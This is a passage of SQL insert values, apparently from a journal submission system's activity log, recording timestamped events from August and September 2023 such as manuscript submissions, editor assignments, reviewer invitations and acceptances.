Manuscript',14006,'Editor',194),(129681,'2023-08-18 15:37:37','Editor has been Editor Decision Accepted article',14006,'Editor',194),(129682,'2023-08-18 15:38:16','Manuscript Updated',14006,'Publisher',48),(129683,'2023-08-18 15:38:36','Publisher has been Accepted Articles  article',14006,'Publisher',48),(129684,'2023-08-18 15:38:48','Manuscript Updated',14006,'Publisher',48),(129685,'2023-08-18 15:39:35','Editor has Accepted to review Manuscript',14014,'Editor',192),(129686,'2023-08-18 15:39:45','Editor has been Editor Decision Accepted article',14014,'Editor',192),(129687,'2023-08-18 15:40:37','Manuscript Updated',14014,'Publisher',48),(129688,'2023-08-18 15:40:49','Publisher has been Accepted Articles  article',14014,'Publisher',48),(129689,'2023-08-18 15:40:59','Manuscript Updated',14014,'Publisher',48),(129690,'2023-08-18 17:22:42','Publisher has been Accepted Articles  article',13983,'Publisher',673),(129691,'2023-08-21 10:27:37','Manuscript Submitted by Publisher',14024,'',1050),(129692,'2023-08-21 12:01:46','Publisher has Invited Reviewer',13962,'Publisher',75),(129693,'2023-08-21 12:02:53','Publisher has Invited Reviewer',13962,'Publisher',75),(129694,'2023-08-21 12:03:37','Publisher has Invited Reviewer',13962,'Publisher',75),(129695,'2023-08-22 10:17:09','Manuscript Submitted by Publisher',14025,'Publisher',48),(129696,'2023-08-22 11:06:01','Manuscript Submitted by Publisher',14026,'Publisher',48),(129697,'2023-08-23 10:13:39','Manuscript Submitted by Publisher',14027,'Publisher',48),(129698,'2023-08-23 10:17:48','Manuscript Submitted by Publisher',14028,'Publisher',48),(129699,'2023-08-23 11:47:03','Publisher has been Assigned Editor',14026,'Publisher',48),(129700,'2023-08-23 11:47:20','Publisher has been Assigned Editor',14025,'Publisher',48),(129701,'2023-08-24 09:28:51','Publisher has Invited Reviewer',14025,'Publisher',48),(129702,'2023-08-24 09:28:55','Publisher has Invited Reviewer',14025,'Publisher',48),(129703,'2023-08-24 09:29:00','Publisher has Invited Reviewer',14025,'Publisher',48),(129704,'2023-08-24 09:29:04','Publisher has Invited Reviewer',14025,'Publisher',48),(129705,'2023-08-24 13:27:12','Publisher has been Accepted Articles  article',13926,'Publisher',984),(129706,'2023-08-24 13:27:57','Publisher has been Accepted Articles  article',13925,'Publisher',984),(129707,'2023-08-24 13:29:26','Publisher has been Accepted Articles  article',13923,'Publisher',984),(129708,'2023-08-24 13:30:53','Publisher has been Accepted Articles  article',13922,'Publisher',984),(129709,'2023-08-24 13:37:18','Manuscript Submitted by Publisher',14029,'Publisher',984),(129710,'2023-08-24 16:45:23','Publisher has been Assigned Editor',14028,'Publisher',48),(129711,'2023-08-24 16:45:45','Publisher has been Assigned Editor',14027,'Publisher',48),(129712,'2023-08-24 17:28:14','Publisher has been Assigned Editor',13888,'',1050),(129713,'2023-08-24 17:31:07','Publisher has been Assigned Editor',13954,'',1050),(129714,'2023-08-24 17:34:42','Publisher has been Assigned Editor',14024,'',1050),(129715,'2023-08-24 17:35:53','Publisher has been Assigned Editor',14023,'',1050),(129716,'2023-08-24 17:36:36','Publisher has been Assigned Editor',13852,'',1050),(129717,'2023-08-25 09:45:23','Publisher has Invited Reviewer',13960,'Publisher',376),(129718,'2023-08-25 09:45:27','Publisher has Invited Reviewer',13960,'Publisher',376),(129719,'2023-08-25 09:45:32','Publisher has Invited Reviewer',13960,'Publisher',376),(129720,'2023-08-25 09:45:36','Publisher has Invited Reviewer',13960,'Publisher',376),(129721,'2023-08-25 09:45:40','Publisher has Invited Reviewer',13960,'Publisher',376),(129722,'2023-08-25 09:45:45','Publisher has Invited Reviewer',13960,'Publisher',376),(129723,'2023-08-25 09:50:30','Publisher has Invited Reviewer',13960,'Publisher',376),(129724,'2023-08-25 09:50:34','Publisher has Invited Reviewer',13960,'Publisher',376),(129725,'2023-08-25 09:50:39','Publisher has Invited Reviewer',13960,'Publisher',376),(129726,'2023-08-25 09:50:43','Publisher has Invited Reviewer',13960,'Publisher',376),(129727,'2023-08-25 10:23:59','Editor has Declined to review Manuscript',13847,'Editor',1406),(129728,'2023-08-25 15:42:15','Publisher has been Assigned Editor',14029,'Publisher',984),(129729,'2023-08-25 15:44:20','Editor has Accepted to review Manuscript',14029,'Editor',1342),(129730,'2023-08-25 15:44:34','Editor has been Editor Decision Accepted article',14029,'Editor',1342),(129731,'2023-08-25 15:47:19','Publisher has Invited Reviewer',14029,'Publisher',984),(129732,'2023-08-25 15:47:23','Publisher has Invited Reviewer',14029,'Publisher',984),(129733,'2023-08-25 15:47:27','Publisher has Invited Reviewer',14029,'Publisher',984),(129734,'2023-08-25 15:47:32','Publisher has Invited Reviewer',14029,'Publisher',984),(129735,'2023-08-25 15:47:37','Publisher has Invited Reviewer',14029,'Publisher',984),(129736,'2023-08-25 15:47:41','Publisher has Invited Reviewer',14029,'Publisher',984),(129737,'2023-08-25 15:47:45','Publisher has Invited Reviewer',14029,'Publisher',984),(129738,'2023-08-25 15:47:50','Publisher has Invited Reviewer',14029,'Publisher',984),(129739,'2023-08-25 15:47:54','Publisher has Invited Reviewer',14029,'Publisher',984),(129740,'2023-08-25 15:47:59','Publisher has Invited Reviewer',14029,'Publisher',984),(129741,'2023-08-25 15:48:03','Publisher has Invited Reviewer',14029,'Publisher',984),(129742,'2023-08-25 15:48:08','Publisher has Invited Reviewer',14029,'Publisher',984),(129743,'2023-08-25 15:48:12','Publisher has Invited Reviewer',14029,'Publisher',984),(129744,'2023-08-25 15:48:17','Publisher has Invited Reviewer',14029,'Publisher',984),(129745,'2023-08-26 09:48:49','Publisher has been Assigned Editor',0,'',1050),(129746,'2023-08-26 09:55:15','Editor has Accepted to review Manuscript',13949,'Editor',1788),(129747,'2023-08-26 09:55:27','Editor has been Editor Decision Accepted article',13949,'Editor',1788),(129748,'2023-08-26 09:56:39','Publisher has been Accepted Articles  article',13949,'',1050),(129749,'2023-08-26 10:32:53','Manuscript Submitted by Publisher',14030,'Publisher',48),(129750,'2023-08-28 09:37:32','Manuscript Submitted by Publisher',14031,'Publisher',984),(129751,'2023-08-28 10:41:16','Manuscript Submitted by Publisher',14032,'Publisher',1009),(129752,'2023-08-28 10:43:36','Manuscript Submitted by Publisher',14033,'Publisher',1009),(129753,'2023-08-28 10:45:51','Manuscript Submitted by Publisher',14034,'Publisher',1009),(129754,'2023-08-28 10:48:26','Manuscript Submitted by Publisher',14035,'Publisher',1009),(129755,'2023-08-28 10:51:09','Manuscript Submitted by Publisher',14036,'Publisher',1009),(129756,'2023-08-28 10:53:33','Manuscript Submitted by Publisher',14037,'Publisher',1009),(129757,'2023-08-28 10:55:30','Manuscript Submitted by Publisher',14038,'Publisher',1009),(129758,'2023-08-28 10:59:29','Manuscript Submitted by Publisher',14039,'Publisher',1009),(129759,'2023-08-28 11:01:47','Manuscript Submitted by Publisher',14040,'Publisher',1009),(129760,'2023-08-28 11:16:44','Manuscript Submitted by Publisher',14041,'Publisher',1009),(129761,'2023-08-28 13:05:12','Publisher has been Assigned Editor',14030,'Publisher',48),(129762,'2023-08-28 15:33:46','Editor has been Editor Decision Accepted article',14029,'Editor',1342),(129763,'2023-08-28 15:34:52','Publisher: Accept Notification has been sent to Author',14029,'Publisher',984),(129764,'2023-08-29 16:40:28','Publisher has been Assigned Editor',14041,'Publisher',1009),(129765,'2023-08-29 16:40:43','Publisher has been Assigned Editor',14040,'Publisher',1009),(129766,'2023-08-29 16:40:59','Publisher has been Assigned Editor',14039,'Publisher',1009),(129767,'2023-08-29 16:41:09','Publisher has Invited Reviewer',14026,'Publisher',48),(129768,'2023-08-29 16:41:10','Publisher has been Assigned Editor',14038,'Publisher',1009),(129769,'2023-08-29 16:41:22','Publisher has been Assigned Editor',14037,'Publisher',1009),(129770,'2023-08-29 16:41:35','Publisher has been Assigned Editor',14036,'Publisher',1009),(129771,'2023-08-29 16:41:49','Publisher has been Assigned Editor',14035,'Publisher',1009),(129772,'2023-08-29 16:42:00','Publisher has been Assigned Editor',14034,'Publisher',1009),(129773,'2023-08-29 16:42:11','Publisher has been Assigned Editor',14033,'Publisher',1009),(129774,'2023-08-29 16:42:22','Publisher has been Assigned Editor',14032,'Publisher',1009),(129775,'2023-08-29 16:42:47','Publisher has Invited Reviewer',14027,'Publisher',48),(129776,'2023-08-29 16:42:52','Publisher has Invited Reviewer',14027,'Publisher',48),(129777,'2023-08-29 16:43:39','Publisher has Invited Reviewer',14028,'Publisher',48),(129778,'2023-08-29 16:43:43','Publisher has Invited Reviewer',14028,'Publisher',48),(129779,'2023-08-29 16:44:28','Publisher has Invited Reviewer',14030,'Publisher',48),(129780,'2023-08-29 16:44:33','Publisher has Invited Reviewer',14030,'Publisher',48),(129781,'2023-08-29 17:53:09','Publisher has Invited Reviewer',14041,'Publisher',1009),(129782,'2023-08-29 17:53:10','Publisher has Invited Reviewer',14041,'Publisher',1009),(129783,'2023-08-29 17:53:10','Publisher has Invited Reviewer',14041,'Publisher',1009),(129784,'2023-08-29 17:53:11','Publisher has Invited Reviewer',14041,'Publisher',1009),(129785,'2023-08-29 17:53:11','Publisher has Invited Reviewer',14041,'Publisher',1009),(129786,'2023-08-29 17:53:40','Publisher has Invited Reviewer',14040,'Publisher',1009),(129787,'2023-08-29 17:54:10','Publisher has Invited Reviewer',14040,'Publisher',1009),(129788,'2023-08-29 17:54:11','Publisher has Invited Reviewer',14040,'Publisher',1009),(129789,'2023-08-29 17:54:11','Publisher has Invited Reviewer',14040,'Publisher',1009),(129790,'2023-08-29 17:54:12','Publisher has Invited Reviewer',14040,'Publisher',1009),(129791,'2023-08-29 17:54:33','Publisher has Invited Reviewer',14039,'Publisher',1009),(129792,'2023-08-29 17:54:33','Publisher has Invited Reviewer',14039,'Publisher',1009),(129793,'2023-08-29 17:55:05','Publisher has Invited Reviewer',14038,'Publisher',1009),(129794,'2023-08-29 17:55:05','Publisher has Invited Reviewer',14038,'Publisher',1009),(129795,'2023-08-29 17:55:06','Publisher has Invited Reviewer',14038,'Publisher',1009),(129796,'2023-08-29 17:55:31','Publisher has Invited Reviewer',14037,'Publisher',1009),(129797,'2023-08-29 17:55:32','Publisher has Invited Reviewer',14037,'Publisher',1009),(129798,'2023-08-29 17:55:32','Publisher has Invited Reviewer',14037,'Publisher',1009),(129799,'2023-08-29 17:55:32','Publisher has Invited Reviewer',14037,'Publisher',1009),(129800,'2023-08-29 17:56:01','Publisher has Invited Reviewer',14036,'Publisher',1009),(129801,'2023-08-29 17:56:02','Publisher has Invited Reviewer',14036,'Publisher',1009),(129802,'2023-08-29 17:56:03','Publisher has Invited Reviewer',14036,'Publisher',1009),(129803,'2023-08-29 17:56:10','Publisher has Invited Reviewer',14036,'Publisher',1009),(129804,'2023-08-29 17:56:38','Publisher has Invited Reviewer',14032,'Publisher',1009),(129805,'2023-08-29 17:56:38','Publisher has Invited Reviewer',14032,'Publisher',1009),(129806,'2023-08-29 17:57:00','Publisher has Invited Reviewer',14035,'Publisher',1009),(129807,'2023-08-29 17:57:01','Publisher has Invited Reviewer',14035,'Publisher',1009),(129808,'2023-08-29 17:57:26','Publisher has Invited Reviewer',14034,'Publisher',1009),(129809,'2023-08-29 17:57:27','Publisher has Invited Reviewer',14034,'Publisher',1009),(129810,'2023-08-29 17:57:27','Publisher has Invited Reviewer',14034,'Publisher',1009),(129811,'2023-08-29 17:57:49','Publisher has Invited Reviewer',14033,'Publisher',1009),(129812,'2023-08-29 17:57:49','Publisher has Invited Reviewer',14033,'Publisher',1009),(129813,'2023-08-29 17:58:41','Publisher has been Accepted Articles  article',14041,'Publisher',1009),(129814,'2023-08-29 17:59:15','Manuscript Updated',14040,'Publisher',1009),(129815,'2023-08-29 17:59:37','Publisher has been Accepted Articles  article',14040,'Publisher',1009),(129816,'2023-08-29 17:59:50','Manuscript Updated',14040,'Publisher',1009),(129817,'2023-08-29 18:00:30','Manuscript Updated',14039,'Publisher',1009),(129818,'2023-08-29 18:00:49','Publisher has been Accepted Articles  article',14039,'Publisher',1009),(129819,'2023-08-29 18:01:03','Manuscript Updated',14039,'Publisher',1009),(129820,'2023-08-29 18:01:33','Manuscript Updated',14038,'Publisher',1009),(129821,'2023-08-29 18:01:58','Publisher has been Accepted Articles  article',14038,'Publisher',1009),(129822,'2023-08-29 18:02:11','Manuscript Updated',14038,'Publisher',1009),(129823,'2023-08-29 18:02:38','Manuscript Updated',14037,'Publisher',1009),(129824,'2023-08-29 18:02:58','Publisher has been Accepted Articles  article',14037,'Publisher',1009),(129825,'2023-08-29 18:03:11','Manuscript Updated',14037,'Publisher',1009),(129826,'2023-08-29 18:03:34','Manuscript Updated',14036,'Publisher',1009),(129827,'2023-08-29 18:03:53','Publisher has been Accepted Articles  article',14036,'Publisher',1009),(129828,'2023-08-29 18:04:05','Manuscript Updated',14036,'Publisher',1009),(129829,'2023-08-29 18:04:29','Manuscript Updated',14035,'Publisher',1009),(129830,'2023-08-29 18:04:49','Publisher has been Accepted Articles  article',14035,'Publisher',1009),(129831,'2023-08-29 18:05:04','Manuscript Updated',14035,'Publisher',1009),(129832,'2023-08-29 18:05:30','Publisher has been Accepted Articles  article',14034,'Publisher',1009),(129833,'2023-08-29 18:05:55','Manuscript Updated',14033,'Publisher',1009),(129834,'2023-08-29 18:06:12','Publisher has been Accepted Articles  article',14033,'Publisher',1009),(129835,'2023-08-29 18:06:24','Manuscript Updated',14033,'Publisher',1009),(129836,'2023-08-29 18:06:40','Manuscript Updated',14032,'Publisher',1009),(129837,'2023-08-29 18:07:02','Publisher has been Accepted Articles  article',14032,'Publisher',1009),(129838,'2023-08-29 18:07:13','Manuscript Updated',14032,'Publisher',1009),(129839,'2023-08-29 19:38:16','Manuscript Submitted by Author using Submission form',14042,'Author',14109),(129840,'2023-08-30 10:56:27','Manuscript Submitted by Author using Submission form',14043,'Author',14110),(129841,'2023-08-30 10:57:32','Manuscript Submitted by Author using Submission form',14044,'Author',14111),(129842,'2023-08-30 11:03:58','Editor has Accepted to review Manuscript',14032,'Editor',1749),(129843,'2023-08-30 11:04:20','Editor has Accepted to review Manuscript',14033,'Editor',1749),(129844,'2023-08-30 11:04:31','Editor has Accepted to review Manuscript',14034,'Editor',1749),(129845,'2023-08-30 11:04:38','Editor has Accepted to review Manuscript',14035,'Editor',1749),(129846,'2023-08-30 11:04:45','Editor has Accepted to review Manuscript',14036,'Editor',1749),(129847,'2023-08-30 11:04:51','Editor has Accepted to review Manuscript',14037,'Editor',1749),(129848,'2023-08-30 11:05:12','Editor has Accepted to review Manuscript',14038,'Editor',1749),(129849,'2023-08-30 11:05:21','Editor has Accepted to review Manuscript',14039,'Editor',1749),(129850,'2023-08-30 11:05:30','Editor has Accepted to review Manuscript',14040,'Editor',1749),(129851,'2023-08-30 11:05:36','Editor has Accepted to review Manuscript',14041,'Editor',1749),(129852,'2023-08-30 13:02:07','Editor has Invited Reviewer',14032,'Editor',1749),(129853,'2023-08-30 13:04:06','Editor has Invited Reviewer',14033,'Editor',1749),(129854,'2023-08-30 13:05:19','Editor has Invited Reviewer',14034,'Editor',1749),(129855,'2023-08-30 13:05:19','Editor has Invited Reviewer',14034,'Editor',1749),(129856,'2023-08-30 13:09:08','Editor has Invited Reviewer',14036,'Editor',1749),(129857,'2023-08-30 13:09:08','Editor has Invited Reviewer',14036,'Editor',1749),(129858,'2023-08-30 13:09:09','Editor has Invited Reviewer',14036,'Editor',1749),(129859,'2023-08-30 13:10:20','Editor has Invited Reviewer',14037,'Editor',1749),(129860,'2023-08-30 13:10:21','Editor has Invited Reviewer',14037,'Editor',1749),(129861,'2023-08-30 13:10:22','Editor has Invited Reviewer',14037,'Editor',1749),(129862,'2023-08-30 13:10:22','Editor has Invited Reviewer',14037,'Editor',1749),(129863,'2023-08-30 13:11:01','Editor has Invited Reviewer',14038,'Editor',1749),(129864,'2023-08-30 13:11:02','Editor has Invited Reviewer',14038,'Editor',1749),(129865,'2023-08-30 13:11:03','Editor has Invited Reviewer',14038,'Editor',1749),(129866,'2023-08-30 13:11:03','Editor has Invited Reviewer',14038,'Editor',1749),(129867,'2023-08-30 13:11:42','Editor has Invited Reviewer',14039,'Editor',1749),(129868,'2023-08-30 13:11:42','Editor has Invited Reviewer',14039,'Editor',1749),(129869,'2023-08-30 13:11:43','Editor has Invited Reviewer',14039,'Editor',1749),(129870,'2023-08-30 13:11:43','Editor has Invited Reviewer',14039,'Editor',1749),(129871,'2023-08-30 13:11:44','Editor has Invited Reviewer',14039,'Editor',1749),(129872,'2023-08-30 13:11:44','Editor has Invited Reviewer',14039,'Editor',1749),(129873,'2023-08-30 13:12:34','Editor has Invited Reviewer',14040,'Editor',1749),(129874,'2023-08-30 13:12:34','Editor has Invited Reviewer',14040,'Editor',1749),(129875,'2023-08-30 13:12:35','Editor has Invited Reviewer',14040,'Editor',1749),(129876,'2023-08-30 13:12:35','Editor has Invited Reviewer',14040,'Editor',1749),(129877,'2023-08-30 13:12:36','Editor has Invited Reviewer',14040,'Editor',1749),(129878,'2023-08-30 13:14:18','Editor has Invited Reviewer',14041,'Editor',1749),(129879,'2023-08-30 13:14:19','Editor has Invited Reviewer',14041,'Editor',1749),(129880,'2023-08-30 13:14:19','Editor has Invited Reviewer',14041,'Editor',1749),(129881,'2023-08-30 13:14:20','Editor has Invited Reviewer',14041,'Editor',1749),(129882,'2023-08-30 13:14:20','Editor has Invited Reviewer',14041,'Editor',1749),(129883,'2023-08-30 13:14:21','Editor has Invited Reviewer',14041,'Editor',1749),(129884,'2023-08-30 13:14:22','Editor has Invited Reviewer',14041,'Editor',1749),(129885,'2023-08-30 13:14:23','Editor has Invited Reviewer',14041,'Editor',1749),(129886,'2023-08-30 13:14:23','Editor has Invited Reviewer',14041,'Editor',1749),(129887,'2023-08-30 13:16:36','Editor has Invited Reviewer',14032,'Editor',1749),(129888,'2023-08-30 13:16:37','Editor has Invited Reviewer',14032,'Editor',1749),(129889,'2023-08-30 13:16:37','Editor has Invited Reviewer',14032,'Editor',1749),(129890,'2023-08-30 13:17:33','Editor has Invited Reviewer',14033,'Editor',1749),(129891,'2023-08-30 13:17:33','Editor has Invited Reviewer',14033,'Editor',1749),(129892,'2023-08-30 13:17:33','Editor has Invited Reviewer',14033,'Editor',1749),(129893,'2023-08-30 13:18:07','Editor has Invited Reviewer',14035,'Editor',1749),(129894,'2023-08-30 13:18:08','Editor has Invited Reviewer',14035,'Editor',1749),(129895,'2023-08-30 13:18:08','Editor has Invited Reviewer',14035,'Editor',1749),(129896,'2023-08-30 13:18:09','Editor has Invited Reviewer',14035,'Editor',1749),(129897,'2023-08-30 13:18:09','Editor has Invited Reviewer',14035,'Editor',1749),(129898,'2023-08-30 13:18:09','Editor has Invited Reviewer',14035,'Editor',1749),(129899,'2023-08-30 13:18:10','Editor has Invited Reviewer',14035,'Editor',1749),(129900,'2023-08-30 13:18:50','Editor has Invited Reviewer',14034,'Editor',1749),(129901,'2023-08-30 13:18:50','Editor has Invited Reviewer',14034,'Editor',1749),(129902,'2023-08-30 13:18:51','Editor has Invited Reviewer',14034,'Editor',1749),(129903,'2023-08-30 13:18:51','Editor has Invited Reviewer',14034,'Editor',1749),(129904,'2023-08-30 13:18:51','Editor has Invited Reviewer',14034,'Editor',1749),(129905,'2023-08-30 17:06:17','Editor has Accepted to review Manuscript',14025,'Editor',194),(129906,'2023-08-30 17:06:29','Editor has been Editor Decision Accepted article',14025,'Editor',194),(129907,'2023-08-30 17:07:13','Manuscript Updated',14025,'Publisher',48),(129908,'2023-08-30 17:07:28','Publisher has been Accepted Articles  article',14025,'Publisher',48),(129909,'2023-08-30 17:07:41','Manuscript Updated',14025,'Publisher',48),(129910,'2023-08-31 10:26:16','Publisher has been Assigned Editor',14042,'Publisher',85),(129911,'2023-08-31 11:06:52','Publisher has Invited Reviewer',14042,'Publisher',85),(129912,'2023-08-31 11:06:56','Publisher has Invited Reviewer',14042,'Publisher',85),(129913,'2023-08-31 11:07:01','Publisher has Invited Reviewer',14042,'Publisher',85),(129914,'2023-08-31 11:07:05','Publisher has Invited Reviewer',14042,'Publisher',85),(129915,'2023-08-31 11:07:10','Publisher has Invited Reviewer',14042,'Publisher',85),(129916,'2023-08-31 13:38:25','Manuscript Submitted by Author using Submission form',14047,'Author',14113),(129917,'2023-08-31 14:44:31','Publisher has been Assigned Editor',14031,'Publisher',984),(129918,'2023-08-31 14:47:39','Editor has Accepted to review Manuscript',14031,'Editor',1406),(129919,'2023-08-31 14:47:52','Editor has been Editor Decision Accepted article',14031,'Editor',1406),(129920,'2023-08-31 14:50:18','Editor has Invited Reviewer',14031,'Editor',1406),(129921,'2023-08-31 14:50:22','Editor has Invited Reviewer',14031,'Editor',1406),(129922,'2023-08-31 14:50:31','Editor has Invited Reviewer',14031,'Editor',1406),(129923,'2023-08-31 14:50:35','Editor has Invited Reviewer',14031,'Editor',1406),(129924,'2023-08-31 14:50:39','Editor has Invited Reviewer',14031,'Editor',1406),(129925,'2023-08-31 14:50:44','Editor has Invited Reviewer',14031,'Editor',1406),(129926,'2023-08-31 14:50:49','Editor has Invited Reviewer',14031,'Editor',1406),(129927,'2023-08-31 14:50:53','Editor has Invited Reviewer',14031,'Editor',1406),(129928,'2023-08-31 14:50:58','Editor has Invited Reviewer',14031,'Editor',1406),(129929,'2023-08-31 14:51:02','Editor has Invited Reviewer',14031,'Editor',1406),(129930,'2023-08-31 14:51:06','Editor has Invited Reviewer',14031,'Editor',1406),(129931,'2023-08-31 14:51:16','Editor has Invited Reviewer',14031,'Editor',1406),(129932,'2023-08-31 14:51:20','Editor has Invited Reviewer',14031,'Editor',1406),(129933,'2023-08-31 14:51:25','Editor has Invited Reviewer',14031,'Editor',1406),(129934,'2023-08-31 14:57:40','Editor has been Editor Decision Accepted article',14031,'Editor',1406),(129935,'2023-09-01 09:20:49','Publisher has been Assigned Editor',14047,'Publisher',48),(129936,'2023-09-01 11:29:16','Editor has Accepted to review Manuscript',14026,'Editor',194),(129937,'2023-09-01 11:29:32','Editor has Accepted to review Manuscript',14027,'Editor',194),(129938,'2023-09-01 11:29:48','Editor has been Editor Decision Accepted article',14026,'Editor',194),(129939,'2023-09-01 11:31:26','Reviewer has submitted comments',14026,'Reviewer',21470),(129940,'2023-09-01 11:32:02','Publisher: Accept Notification has been sent to Author',14026,'Publisher',48),(129941,'2023-09-01 11:32:30','Manuscript Updated',14026,'Publisher',48),(129942,'2023-09-01 11:32:50','Publisher has been Accepted Articles  article',14026,'Publisher',48),(129943,'2023-09-01 11:40:35','Reviewer has submitted comments',13597,'Reviewer',21726),(129944,'2023-09-01 13:13:15','Publisher has Invited Reviewer',14047,'Publisher',48),(129945,'2023-09-01 13:13:19','Publisher has Invited Reviewer',14047,'Publisher',48),(129946,'2023-09-01 17:09:03','Publisher has Invited Reviewer',14042,'Publisher',85),(129947,'2023-09-01 17:09:09','Publisher has Invited Reviewer',14042,'Publisher',85),(129948,'2023-09-01 17:09:13','Publisher has Invited Reviewer',14042,'Publisher',85),(129949,'2023-09-01 17:09:23','Publisher has Invited Reviewer',14042,'Publisher',85),(129950,'2023-09-01 17:09:28','Publisher has Invited Reviewer',14042,'Publisher',85),(129951,'2023-09-01 18:03:17','Publisher has been Assigned Editor',14044,'Publisher',376),(129952,'2023-09-01 18:03:48','Publisher has been Assigned Editor',14043,'Publisher',376),(129953,'2023-09-01 20:51:42','Reviewer has submitted comments',14035,'Reviewer',21399),(129954,'2023-09-02 09:28:52','Manuscript Submitted by Publisher',14057,'',1050),(129955,'2023-09-02 10:51:48','Publisher has Invited Reviewer',14044,'Publisher',376),(129956,'2023-09-02 10:51:52','Publisher has Invited Reviewer',14044,'Publisher',376),(129957,'2023-09-02 10:51:57','Publisher has Invited Reviewer',14044,'Publisher',376),(129958,'2023-09-02 10:52:01','Publisher has Invited Reviewer',14044,'Publisher',376),(129959,'2023-09-02 10:52:06','Publisher has Invited Reviewer',14044,'Publisher',376),(129960,'2023-09-02 10:52:10','Publisher has Invited Reviewer',14044,'Publisher',376),(129961,'2023-09-02 10:52:25','Publisher has Invited Reviewer',14044,'Publisher',376),(129962,'2023-09-02 10:52:29','Publisher has Invited Reviewer',14044,'Publisher',376),(129963,'2023-09-02 10:52:33','Publisher has Invited Reviewer',14044,'Publisher',376),(129964,'2023-09-02 10:52:38','Publisher has Invited Reviewer',14044,'Publisher',376),(129965,'2023-09-02 10:54:53','Publisher has Invited Reviewer',14044,'Publisher',376),(129966,'2023-09-02 10:55:11','Publisher has Invited Reviewer',14044,'Publisher',376),(129967,'2023-09-02 11:01:22','Publisher has been Assigned Editor',13834,'',1502),(129968,'2023-09-02 11:29:34','Publisher has Invited Reviewer',14042,'Publisher',85),(129969,'2023-09-02 11:29:38','Publisher has Invited Reviewer',14042,'Publisher',85),(129970,'2023-09-02 11:29:43','Publisher has Invited Reviewer',14042,'Publisher',85),(129971,'2023-09-02 11:29:47','Publisher has Invited Reviewer',14042,'Publisher',85),(129972,'2023-09-02 11:29:51','Publisher has Invited Reviewer',14042,'Publisher',85),(129973,'2023-09-04 03:45:12','Manuscript Submitted by Author using Submission form',14058,'Author',14115),(129974,'2023-09-04 09:45:47','Editor has Accepted to review Manuscript',14028,'Editor',194),(129975,'2023-09-04 09:46:58','Editor has been Editor Decision Accepted article',14027,'Editor',194),(129976,'2023-09-04 09:47:10','Editor has been Editor Decision Accepted article',14028,'Editor',194),(129977,'2023-09-04 09:50:34','Reviewer has submitted comments',14028,'Reviewer',21541),(129978,'2023-09-04 09:53:58','Reviewer has submitted comments',14027,'Reviewer',1989),(129979,'2023-09-04 09:55:34','Manuscript Updated',14027,'Publisher',48),(129980,'2023-09-04 09:55:48','Publisher has been Accepted Articles  article',14027,'Publisher',48),(129981,'2023-09-04 09:56:01','Manuscript Updated',14027,'Publisher',48),(129982,'2023-09-04 09:56:45','Manuscript Updated',14028,'Publisher',48),(129983,'2023-09-04 09:57:00','Publisher has been Accepted Articles  article',14028,'Publisher',48),(129984,'2023-09-04 09:57:12','Manuscript Updated',14028,'Publisher',48),(129985,'2023-09-04 14:12:40','Publisher has been Assigned Editor',14058,'Publisher',48),(129986,'2023-09-04 15:23:31','Publisher has been Assigned Editor',13790,'',1505),(129987,'2023-09-04 15:32:59','Publisher has been Assigned Editor',14045,'',1499),(129988,'2023-09-04 15:33:12','Publisher has been Assigned Editor',14052,'',1499),(129989,'2023-09-04 15:33:24','Publisher has been Assigned Editor',14050,'',1499),(129990,'2023-09-04 15:33:35','Publisher has been Assigned Editor',14051,'',1499),(129991,'2023-09-04 15:33:46','Publisher has been Assigned Editor',14049,'',1499),(129992,'2023-09-04 15:33:58','Publisher has been Assigned Editor',14046,'',1499),(129993,'2023-09-04 15:38:11','Publisher has been Assigned Editor',14053,'',1491),(129994,'2023-09-04 15:44:28','Publisher has been Assigned Editor',14056,'',1491),(129995,'2023-09-05 02:52:40','Manuscript Submitted by Author',14059,'Author',13084),(129996,'2023-09-05 15:05:46','Publisher has Invited Reviewer',14042,'Publisher',85),(129997,'2023-09-05 15:05:50','Publisher has Invited Reviewer',14042,'Publisher',85),(129998,'2023-09-05 15:05:55','Publisher has Invited Reviewer',14042,'Publisher',85),(129999,'2023-09-05 15:05:59','Publisher has Invited Reviewer',14042,'Publisher',85),(130000,'2023-09-05 15:06:04','Publisher has Invited Reviewer',14042,'Publisher',85),(130001,'2023-09-06 09:30:51','Publisher has been Withdrawn  article',13847,'',1212),(130002,'2023-09-06 10:37:15','Publisher has been Accepted Articles  article',13971,'Publisher',75),(130003,'2023-09-06 11:46:54','Publisher has been Assigned Editor',14055,'',1496),(130004,'2023-09-06 17:47:12','Editor has Accepted to review Manuscript',14024,'Editor',1788),(130005,'2023-09-06 17:47:39','Editor has been Editor Decision Accepted article',14024,'Editor',1788),(130006,'2023-09-06 17:47:44','Editor has Accepted to review Manuscript',14023,'Editor',1788),(130007,'2023-09-06 17:47:55','Editor has been Editor Decision Accepted article',14023,'Editor',1788),(130008,'2023-09-06 17:52:01','Editor has been 2 article',14023,'',1050),(130009,'2023-09-06 17:52:03','Editor has been 2 article',14023,'',1050),(130010,'2023-09-07 10:15:29','Reviewer has submitted comments',14042,'Reviewer',16786),(130011,'2023-09-07 10:17:53','Publisher : Notified Editor',14042,'Publisher',85),(130012,'2023-09-07 11:45:00','Manuscript Submitted by Publisher',14060,'',1050),(130013,'2023-09-07 14:58:33','Manuscript Submitted by Publisher',14061,'Publisher',48),(130014,'2023-09-08 00:28:40','Manuscript Submitted by Author',14062,'Author',13679),(130015,'2023-09-08 10:00:51','Manuscript Submitted by Publisher',14063,'',1050),(130016,'2023-09-08 10:54:22','Editor has Accepted to review Manuscript',14042,'Editor',1408),(130017,'2023-09-08 11:06:03','Editor has been Editor Decision Accepted article',14042,'Editor',1408),(130018,'2023-09-08 13:38:25','Publisher has been Assigned Editor',14061,'Publisher',48),(130019,'2023-09-08 13:39:30','Publisher has Invited Reviewer',14058,'Publisher',48),(130020,'2023-09-08 13:39:35','Publisher has Invited Reviewer',14058,'Publisher',48),(130021,'2023-09-08 13:42:59','Publisher has Invited Reviewer',14061,'Publisher',48),(130022,'2023-09-08 13:43:04','Publisher has Invited Reviewer',14061,'Publisher',48),(130023,'2023-09-08 13:43:09','Publisher has Invited Reviewer',14061,'Publisher',48),(130024,'2023-09-08 17:01:12','Editor has Accepted to review Manuscript',13962,'Editor',162),(130025,'2023-09-08 17:01:17','Editor has been Editor Decision Accepted article',13962,'Editor',162),(130026,'2023-09-10 14:51:24','Manuscript Submitted by Author using Submission form',14063,'Author',14120),(130027,'2023-09-11 16:38:20','Editor has been Editor Decision Accepted article',13961,'Editor',1408),(130028,'2023-09-11 16:57:36','Publisher has been Accepted Articles  article',13961,'Publisher',85),(130029,'2023-09-12 17:52:54','Manuscript Submitted by 